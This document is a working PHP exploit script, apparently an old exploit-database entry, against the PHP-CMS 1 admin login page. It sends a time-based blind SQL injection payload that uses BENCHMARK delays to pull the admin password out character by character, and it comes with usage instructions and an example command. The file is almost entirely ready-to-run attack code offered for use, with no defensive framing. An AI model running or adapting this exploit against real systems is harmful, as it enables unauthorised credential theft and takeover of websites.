--+++===================================================+++--
--+++====== PHP-CMS 1 Blind SQL Injection Exploit ======+++--
--+++===================================================+++--
<?php
function query ($user, $pos, $chr)
{
$query = "x' OR IF((ASCII(SUBSTRING((SELECT password FROM ".
"admin WHERE username='{$user}'),{$pos},1))={$chr}),BENCHMARK".
"(100000000,CHAR(0)),0) OR '1' = '2";
return $query;
}
function exploit ($hostname, $path, $user, $pos, $chr)
{
$chr = ord ($chr);
$fp = fsockopen ($hostname, 80);
$post = "username=".query ($user, $pos, $chr) . "&password=x&Submit=ok";
$req = "POST {$path}/admin/login.php HTTP/1.1\r\n".
"Host: {$hostname}\r\n".
"Connection: Close\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: " . strlen ($post) . "\r\n\r\n".
$post;
fputs ($fp, $req);
$start = time ();
while (!feof ($fp))
fgets ($fp, 1024);
$end = time ();
fclose ($fp);
if ($end - $start > 4)
return true;
else
return false;
}
function usage ()
{
echo
"\nPHP-CMS 1 Blind SQL Injection Exploit".
"\n[+] Author : darkjoker".
"\n[+] Site : http://darkjoker.net23.net".
"\n[+] Download: http://heanet.dl.sourceforge.net/sourceforge/php-cms-project/phpcms.zip".
"\n[+] Usage : php xpl.php <hostname> <path> <username> [<keylist>]".
"\n[+] Ex. : php xpl.php localhost /PHPCMS admin abcdefghijklmnopqrstuvwxyz".
"\n[+] Greetz : my girlfriend, Vivi".
"\n\n";
exit ();
}
if ($argc < 3)
usage ();
$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
$key = (empty ($argv [4])) ? "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" : $argv [4];
$pos = 1;
$chr = 0;
echo "[+] Password: ";
while ($chr < strlen ($key))
{
if (exploit ($hostname, $path, $user, $pos, $key [$chr]))
{
echo $key [$chr];
$chr = 0;
$pos++;
}
else
$chr++;
}
echo "\n\n";
?>
